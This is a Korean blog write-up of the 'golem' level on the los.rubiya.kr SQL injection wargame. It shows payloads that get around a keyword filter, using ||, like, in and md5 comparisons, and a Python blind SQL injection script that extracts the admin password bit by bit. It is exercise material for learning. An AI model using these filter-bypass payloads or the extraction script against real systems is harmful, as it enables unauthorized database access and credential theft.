PW에 or, and, substr(, = 등이 필터링이 되어있다. 그리고 쿼리의 결과값이 admin이여야 하고 admin의 PW도 일치 해야 한다.
먼저 PW쪽 파라미터를 통해서 쿼리 결과값의 ID값을 admin으로 만들어 출력하고 그 후에 Blind SQL Injection을 통해서 PW 까지 같이 뽑아오면 된다.
ID값을 admin으로 만들어 보자.
pw='||id like 'admin'#
pw='||id in ('admin')#
= like in 이 필터링 되었을 때 >,< 등을 통해서도 가능.
pw='||md5(id)>'21232f297a57a5a743894a0e4a801fc2'&&md5(id)<'21232f297a57a5a743894a0e4a801fc4'#
이제 그뒤로는 PW를 추출하도록 만들면 된다.
pw='||id like 'admin'&&length(pw)> ?# 를 통해 길이를 구한후
pw='||id like 'admin'&&ascii(mid(pw,?,1))&? like ?# 를 통해 PW 값을 구한다.
Payload
#coding:utf-8 import urllib2 import ssl opener = urllib2.build_opener(urllib2.HTTPSHandler(context=ssl.SSLContext(ssl.PROTOCOL_TLSv1))) urllib2.install_opener(opener) url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?" sess="4hqu7lpapeslgg180htc7dtrh3" # Your sessionid for i in range(1,9): bin = pow(2,8) # 128 str=0 while bin >= 1: query="pw=%27||id+like+'admin'%26%26ascii(mid(pw,{},1))%26{}+like+{}%23".format(i,bin,bin) req=urllib2.Request(url+query) req.add_header("Cookie","PHPSESSID="+sess) read=urllib2.urlopen(req).read() if(read.find("Hello admin
") != -1): str+=bin bin/=2 print chr(str),
los.rubiya.kr/skeleton (0) | 2018.12.28 |
---|---|
los.rubiya.kr/vampire (0) | 2018.12.24 |
los.rubiya.kr/troll (0) | 2018.11.15 |
los.rubiya.kr/orge (0) | 2018.11.15 |
los.rubiya.kr/darkelf (0) | 2018.11.15 |